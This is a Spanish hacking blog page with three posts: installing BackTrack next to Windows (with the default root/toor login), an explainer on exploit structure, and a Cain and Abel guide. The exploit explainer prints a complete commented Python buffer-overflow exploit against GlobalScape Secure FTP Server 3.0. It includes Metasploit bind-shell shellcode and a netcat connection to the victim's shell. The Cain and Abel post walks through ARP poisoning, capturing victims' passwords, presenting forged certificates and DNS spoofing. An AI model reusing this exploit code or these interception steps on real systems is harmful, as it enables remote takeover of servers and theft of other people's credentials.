[L]abels

domingo, 29 de abril de 2012

instalando backtrack junto a windows [tutorial]



En este tuto te enseñare a instalar una distro linux junto a windows.
requisitos
-tener preparado una particion en el disco de cualquier tamaño (superior a 4 gigas) de preferencia mas alto para un optimo rendimiento
-tener el dvd instalador, si no lo tienen pueden bajarlo desde http://www.backtrack-linux.org/downloads
de esta forma



 elegiendo los datos correspondientes, lo mas importante es que sea en modo imagen
luego de haberlo quemado en modo imagen/o haberlo montado en un usb
y iniciar en la bios seleccionando el 
1ºboot device dvd/o usb en el caso de que lo tengan en modo imagen en un usb

tomando en cuenta que tienes insertado tu dvd de instalacion de backtrack en el lector de dvd o inicies desde un usb

te aparecera una pantalla negra con algunas letras

 boot:_


puedes insertar texto pero no lo haremos solo presiona enter
luego te aparecera un menu donde te da opciones de inicio de backtrack
presiona enter en la primera opcion
(imagen prestada)


despues de un rato te aparecera mas letras en la pantalla

tipea desde el teclado

startx

y presiona enter, espera un rato y estaras en BackTrack entorno grafico





donde solo existe un icono llamado "install backtrack" denle doble click
aparecera una ventana donde podremos empezar a instalar

1º paso instalacion 
aqui elijes la opcion de en que idioma instalar backtrack

elejimos español y damos click adelante

2º paso instalacion
elegimos nuestra ubicacion, para que backtrack busque actualizaciones cercanas y configuraciones que nos ayuden, pero da igual el lugar que elijas
y damos click en adelante

3º paso instalacion
la siguiente ventana te da la opcion de elegir el idioma del teclado, dejalo por "opcion sugerida" ya que reconoce el idioma de tu teclado automaticamente

y click en adelante
la siguiente opcion tardara un rato, el instalador esta reconociendo los discos para instalar, te aparecera un mensaje dale click en aceptar porque esto no afecta en nada a nuestras particiones

4º paso instalacion
*(importante)en la opcion de "Prepara el espacio de disco"
elegimos la opcion de "especificar particiones manualmente (avanzado)"

aqui nos aparecera nuestros discos
tenemos un disco vacio que preparamos para instalar backtrack (preparamos uno antes de realizar esta instalacion)
 en mi caso yo prepare una particion de 17174mb para instalar backtrack, seleccionen la particion que prepararon y den click en "cambiar"
en la ventana que nos aparece cambiamos:
"utilizar como" "sistema de ficheros ext3 tradicional"
marcamos la opcion de "formatear la particion"
"punto de montaje" "/"
y lo dejamos como esta en la imagen


y damos click en ok (en el paso anterior estamos preparando el disco donde instalaremos backtrack)
ya tenemos la particion en ext3 lista para que instalemos Bactrack seleccionamos nuevamente la particion que acabamos de modificar

y damos click en adelante

5º paso y final
pues en esta ultima ventana solo tenemos que dar click a "instalar"




bueno ahora esperamos un largo rato a que termine de instalar...
y ya

ahora cuando reinicies la pc y elijas la primera opcion iniciando por backtrack te aparecera de nuevo la pantalla negra con letras
te pedira un bt login y un pass, ingresamos root en login y toor en pass: 
*ojo si instalaste la version de bactrack r1 en el campo de contraseña parecera que no puedes ingresar nada y si das presionas enter abajo podras escribir lo que sea a muchas personas eso les confunde pero, despues de ingresar el login y presionar enter ingresar toor aunque no veas que se escribe y luego presiona enter
BT Login : root 
Pass : toor

luego te encontraras con la ultima ventana donde tienes que escribir
startx

para iniciar en el modo grafico y ya esta
miren que las particiones de windows tambien se comparten, puedes manipularlas
ahora tambien podemos ingresar en windows normalmente
espero les sirva 
dedicado a los newbies  ;)




Que es un Exploit

Para ir completando esta linda referencia que estamos haciendo entre todos voy a explicar resumidamente que es un exploit y las partes que lo componen que aunque parezca basico muchos tienen una idea errada o no saben como es la arquitectura de un exploit.



Que significa exploit?
Etimologicamente exploit viene del ingles explotar; explotar se aplica al sentido de aprovecharse de una falla/debilidad en una pieza de software/firmware para utilizarla para otros propositos. Y un exploit es la tecnica que se usa para explotar esa falla o debilidad.
Tecnicamente un exploit es generalmente una aplicacion compuesta de varias partes programado en un lenguaje adecuado para tomar tomar esa falla.

Como esta compuesto un exploit?
Como vimos antes estas fallas que tienen los programas necesitan una tecnica para llegar a ellas y es por eso que nuestro exploit necesita primero hacer una inicializacion para preparar todo, un ejemplo de inicializacion puede ser por ejemplo para explotar un overflow en un comando FTP, debemos primero conectarnos, autenticarnos y recien despues de eso podemos esperar que el FTP acepte un comando.
La otra parte es la payload.

Una payload es un conjunto de datos que son los que finalmente se usaran para explotar la falla; esta payload consta de varias partes, principalmente de una shellcode , un NOP sled y otros datos que si seguimos con el ejemplo del FTP seria el comando con el argumento.



Que es un NOP sled?
Cuando explotamos un proceso manipulamos el puntero de instrucciones (el que dice cual es la siguiente instruccion a ejecutra, EIP en x86), pero muchas veces existe un margen de error que podria hacer fallar nuestra shellcode debido a que tal vez el EIP apunta a la mitad de la shellcode y no al principio.
Entonces lo que se hace es agregar una cadena de instrucciones  de un byte (para que no fallen si caen en la mitad de la instruccion) que no afecten mucho el entorno. Es por eso que se le dice NOP sled, es una serie de instrucciones NOP (opcode: 0x90) de un determinado tamano que se agrega antes de la shellcode y se calcula que el EIP apunte a alguna parte del sled.
Actualmente el NOP sled clasico es detectado por firewalls y debemos usar otras instrucciones similares que ocupen un byte (por ejemplo la instruccion push para registros).

Basta de teoria...
Veamos un tipico exploit hecho en Python para explotar la recepcion de comandos en un server FTP; presten atencion a los comentarios que deje explicando cada parte

#!/usr/bin/python

# En todo exploit tenemos un hermoso banner donde deja creditos, dice como funciona y le manda saludos a sus amigos
, familiares, etc.
# No es menor cosa!

###############################################
# GlobalScape Secure FTP Server Buffer Overflow
# Coded by mati@see-security.com
# [url]http://www.see-security.com[/url]
# [url]http://www.hackingdefined.com/exploits/Globalscape30.pdf[/url]
###############################################
# EIP Overwrite
# root@[muts]# ./globalscape-3.0-ftp.py
#
# [+] Evil GlobalFTP 3.0 Secure Server Exploit
# [+] Coded by mati [at] see-security [dot] com
# [+] 220 GlobalSCAPE Secure FTP Server (v. 3.0) * UNREGISTERED COPY *
#
# [+] Sending Username
# [+] Sending Password
# [+] Sending evil buffer
# [+] Connect to port 4444 on victim Machine!
#
# root@[muts]# nc -v 192.168.1.153 4444
# [192.168.1.153] 4444 (?) open
# Microsoft Windows 2000 [Version 5.00.2195]
# (C) Copyright 1985-2000 Microsoft Corp.
#
# C:\WINNT\system32>

import socket
import struct
import time

#Aca tenemos la shellcode que usa, en este caso es una que genero con Metasploit y es una bind_shell codificada 
#alfanumericamente para no tener problemas de bad chars ya que el protocolo FTP es bastante exigente al igual 
que HTTP y otros mas.

# win32_bind - EXITFUNC=thread LPORT=4444 Size=717 Encoder=PexAlphaNum 
# [url]http://metasploit.com[/url] */
sc = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
sc +="\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
sc +="\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
sc +="\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
sc +="\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
sc +="\x4f\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x58"
sc +="\x4e\x56\x46\x32\x46\x32\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x47"
sc +="\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x41\x4b\x58"
sc +="\x4f\x55\x42\x52\x41\x30\x4b\x4e\x43\x4e\x42\x53\x49\x54\x4b\x38"
sc +="\x46\x53\x4b\x58\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a"
sc +="\x46\x58\x42\x4c\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30"
sc +="\x44\x4c\x4b\x4e\x46\x4f\x4b\x33\x46\x55\x46\x42\x4a\x42\x45\x57"
sc +="\x43\x4e\x4b\x58\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x58"
sc +="\x4e\x50\x4b\x34\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x43\x30"
sc +="\x4e\x52\x4b\x48\x49\x38\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c"
sc +="\x41\x43\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x33\x4b\x58\x42\x44"
sc +="\x4e\x50\x4b\x38\x42\x47\x4e\x41\x4d\x4a\x4b\x48\x42\x54\x4a\x50"
sc +="\x50\x35\x4a\x46\x50\x58\x50\x44\x50\x50\x4e\x4e\x42\x35\x4f\x4f"
sc +="\x48\x4d\x41\x53\x4b\x4d\x48\x36\x43\x55\x48\x56\x4a\x36\x43\x33"
sc +="\x44\x33\x4a\x56\x47\x47\x43\x47\x44\x33\x4f\x55\x46\x55\x4f\x4f"
sc +="\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e\x4e\x4f\x4b\x53\x42\x45\x4f\x4f"
sc +="\x48\x4d\x4f\x35\x49\x48\x45\x4e\x48\x56\x41\x48\x4d\x4e\x4a\x50"
sc +="\x44\x30\x45\x55\x4c\x46\x44\x50\x4f\x4f\x42\x4d\x4a\x36\x49\x4d"
sc +="\x49\x50\x45\x4f\x4d\x4a\x47\x55\x4f\x4f\x48\x4d\x43\x45\x43\x45"
sc +="\x43\x55\x43\x55\x43\x45\x43\x34\x43\x45\x43\x34\x43\x35\x4f\x4f"
sc +="\x42\x4d\x48\x56\x4a\x56\x41\x41\x4e\x35\x48\x36\x43\x35\x49\x38"
sc +="\x41\x4e\x45\x49\x4a\x46\x46\x4a\x4c\x51\x42\x57\x47\x4c\x47\x55"
sc +="\x4f\x4f\x48\x4d\x4c\x36\x42\x31\x41\x45\x45\x35\x4f\x4f\x42\x4d"
sc +="\x4a\x36\x46\x4a\x4d\x4a\x50\x42\x49\x4e\x47\x55\x4f\x4f\x48\x4d"
sc +="\x43\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x45\x4e\x49\x44\x48\x38"
sc +="\x49\x54\x47\x55\x4f\x4f\x48\x4d\x42\x55\x46\x35\x46\x45\x45\x35"
sc +="\x4f\x4f\x42\x4d\x43\x49\x4a\x56\x47\x4e\x49\x37\x48\x4c\x49\x37"
sc +="\x47\x45\x4f\x4f\x48\x4d\x45\x55\x4f\x4f\x42\x4d\x48\x36\x4c\x56"
sc +="\x46\x46\x48\x36\x4a\x46\x43\x56\x4d\x56\x49\x38\x45\x4e\x4c\x56"
sc +="\x42\x55\x49\x55\x49\x52\x4e\x4c\x49\x48\x47\x4e\x4c\x36\x46\x54"
sc +="\x49\x58\x44\x4e\x41\x43\x42\x4c\x43\x4f\x4c\x4a\x50\x4f\x44\x54"
sc +="\x4d\x32\x50\x4f\x44\x54\x4e\x52\x43\x49\x4d\x58\x4c\x47\x4a\x53"
sc +="\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46\x44\x57\x50\x4f\x43\x4b\x48\x51"
sc +="\x4f\x4f\x45\x57\x46\x54\x4f\x4f\x48\x4d\x4b\x45\x47\x35\x44\x35"
sc +="\x41\x35\x41\x55\x41\x35\x4c\x46\x41\x50\x41\x35\x41\x45\x45\x35"
sc +="\x41\x45\x4f\x4f\x42\x4d\x4a\x56\x4d\x4a\x49\x4d\x45\x30\x50\x4c"
sc +="\x43\x35\x4f\x4f\x48\x4d\x4c\x56\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f"
sc +="\x42\x4d\x4b\x58\x47\x45\x4e\x4f\x43\x38\x46\x4c\x46\x36\x4f\x4f"
sc +="\x48\x4d\x44\x55\x4f\x4f\x42\x4d\x4a\x36\x4f\x4e\x50\x4c\x42\x4e"
sc +="\x42\x36\x43\x55\x4f\x4f\x48\x4d\x4f\x4f\x42\x4d\x5a"

# Aqui una de las partes mas importantes, la generacion de la payload:

#Empezamos con un relleno de buffer, es lo que necesitamos para llegar a producir el oveflow.
payload   = '\x41'*2043

#Luego agregamos la direccion de retorno, en Windows esto regresara a una instruccion que nos 
permitira llamar a nuestra shellcode.
#todo se trata de manipular el puntero de instrucciones (EIP en x86). Generalmente en Windows es pop;pop;ret (SEH).
payload += struct.pack("
#Agregamos el famoso NOP sled, esto lo que hace es agregar una larga cadena (en este caso 36) de instrucciones NOP.
payload += '\x90'*36

#Finalmente agregamos la shellcode a la payload.
payload += sc

#Otra parte importante es la preparacion del entorno para poder mandar la payload.
#en este caso es un server FTP...
try:
	#Primero nos conectamos al server
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	print "\n[+] Evil GlobalFTP 3.0 Secure Server Exploit"
	print "[+] Coded by muts"
	connect=s.connect(('192.168.1.153',21))

	#recibimos el banner de bienvenida de FTP
	d=s.recv(1024)
	print "[+] " +d
	print "[+] Sending Username"
	time.sleep(1)

	#Nos autenticamos en el server enviando usuario y password
	s.send('USER muts\r\n')
	s.recv(1024)
	print "[+] Sending Password"
	time.sleep(1)
	s.send('PASS muts\r\n')
	s.recv(1024)
	print "[+] Sending evil buffer"
	time.sleep(1)

	#y finalmente enviamos la payload que preparamos anteriormente, fijense que despues de la payload envia '\r\n' 
para terminar el comando.
	s.send(payload+'r\n')
	print "[+] Connect to port 4444 on victim Machine!\n"
except:
	print "Can't connect to ftp"
 
 Esto es para comprender como es un exploit por dentro y empezar a entender que son esas cadenas de caracteres que aparecen y como es que llegan a tomar el control de un proceso.

Ya saben que si tienen dudas o si algo no se entiende pregunten ;-) .

Saludos

[Tutorial] Cain y Abel

El Ataque

Bien pues el proceso que llevaremos a cabo, trata de un ataque MITM (Man in the Middle, o lo que es lo mismo, hombre en el medio), consiste en “interponerse entre dos partes”, en este caso asi






Bien pues el lo que vamos hacer con este sniffer, hacer que los datos que circulan en la red pasen por nuestra interfaz de red para ser capturados

 
1º Técnica [ARP Poisoning]
 

Me dice wikipedia: ARP Spoofing, también conocido como ARP Poisoning o ARP Poison Routing, es una técnica usada para infiltrarse en una red Ethernet conmutada (basada en switch y no en hubs), que puede permitir al atacante husmear paquetes de datos en la LAN (red de área local), modificar el tráfico, o incluso detener el tráfico (conocido como DoS: Denegación de Servicio).





Capturando Datos

Para poder empezar a trabajar con Cain y Abel, hemos de deirigirno a la pestaña Sniffer> y en esta seleccionar la interfaz de red a utilizar, en mi caso esta:
 



Pasamos a la pestaña , en la cual podemos cambiar la dirección MAC de la interfaz de red, si es que no lo hemos hecho con antelación, para ello, hacen clic en la chincheta , vean como quedaría:



Bien, ahora vamos a “iniciar el sniffer”, para ello nos dirigimos a la chincheta que indico a continuación:

Pasamos a la chincheta y hacemos clic con el en esa misma ventana y hacemos clic en y a continuación, seleccionamos
y también marcamos la pestaña




Ahora en la pestaña inferior con nombre , hacemos clic. Debemos marcar el icono que podemos observar en la parte de arriba con el símbolo:
+
5.1.Ahora vamos a “incluir” el router y el host/s a los  cuales vamos a capturar los datos [ PC  <----> PC Local <----> Router], para ello, primero el router y a la izquierda aparecerán las direcciones IP a las cuales se le va a realizar el MITM, vean la siguiente imagen:



  Activamos “el ARP”, para ello activamos la casilla que se muestra a continuación:





Ya podemos observar en la parte inferior los información de la captura, pero para comprobar mas sobre estas, nos dirigimos a la pestaña inferior , en la cual podremos observar la dirección IP de la Web que visito la víctima, dirección URL de la misma, en algunos casos Usser/Pass, etc, vean:

Nota: Datos que son imprescindible analizarlos para los siguientes puntos.

Analizando Los Datos Capturados

Como vimos anteriormente en la pestaña podíamos observar algunos campos capturados, e aquí un ejemplo, si ambos campos (User-Pass). Para ver los datos capturados en el protocolo HTTPS, que es el protocolo seguro de HTTP, solo tendremos que pasar estos archivos a extensión .txt y revisar el contenido con paciencia, si estos encuentran encriptados, pasaremos al puntos



Analizando certificados

[En construcción] Ahora aprenderenderemos a crackear los certificados digitales capturados, y asi obtener el contenido de estos.
Asi se muestra a la víctima un certificado falso, en caso de aceptarlo !Bingo! nuevo objetivo.  Aqui vemos los certificados capturados, vamos a ver como analizarlos:



Desencriptando Archivos

Bien, en caso de encontramos con datos encriptados, le daremos uso al cracker, a diferencia del apartado anterior en este caso, los datos se encuentran encriptados, por tanto utilizaremos el cracker para obtener los datos en claro, para ello, nos dirigimos al apartado , en el cual seleccionaremos en el apartado de la izquierda “que desencriptar”, se supone que hay capturas, u seguidamente en el apartado de la izquierda “Archivo/s a desencriptar” y por último, seleccionar como desencriptarlo, ataque diccionario, brute force, etc.




Nota: Útil para algunos aspectos “Bugs y Exploits” XD.
 
2º Técnica [DNS Spoofing]

Me dice wikipedia: DNS Spoofing: Suplantación de identidad por nombre de dominio. Se trata del falseamiento de una relación "Nombre de dominio-IP" ante una consulta de resolución de nombre, es decir, resolver con una dirección IP falsa un cierto nombre DNS o viceversa. Esto se consigue falseando las entradas de la relación Nombre de dominio-IP de un servidor DNS, mediante alguna vulnerabilidad del servidor en concreto o por su confianza hacia servidores poco fiables. Las entradas falseadas de un servidor DNS son susceptibles de infectar (envenenar) el caché DNS de otro servidor diferente (DNS Poisoning).

Debemos estar con el “Sniffer y ARP Start”, es decir, husmeando en la red. Bien, pues nos situamos sobre la pestaña superior y dentro de esta en la parte inferior en , ahora debemos situarnos sobre la casilla y hacer los siguiente:




Se refiere a la Web origen, la que queremos direccionar.
Indica la dirección IP de la Web destino.

Nota: Para comprobar la dirreción IP de una Web, hacen ping a esta:

ping www.web.com

Nota: Cain y Abel también se puede utilizar para crackear Password de redes inalambricas con cifrado WPA/WPA2.
 
¿Como protegerse ante ataques MITM?

Utilzar herramientas que utiicen el protocolo SSH, y de esta forma establecer mas seguridad, herramienta para ello es, Putty ¿Qué es Putty? Me dice Wikipedia: PuTTY es un cliente SSH, Telnet, rlogin, y TCP raw con licencia libre. Disponible originalmente sólo para Windows, ahora también está disponible en varias plataformas Unix, y se está desarrollando la versión para Mac OS clásico y Mac OS X. Otra gente ha contribuido con versiones no oficiales para otras plataformas, tales como Symbian para teléfonos móviles. Es software beta escrito y mantenido principalmente por Simon Tatham, open source y licenciado bajo la Licencia MIT.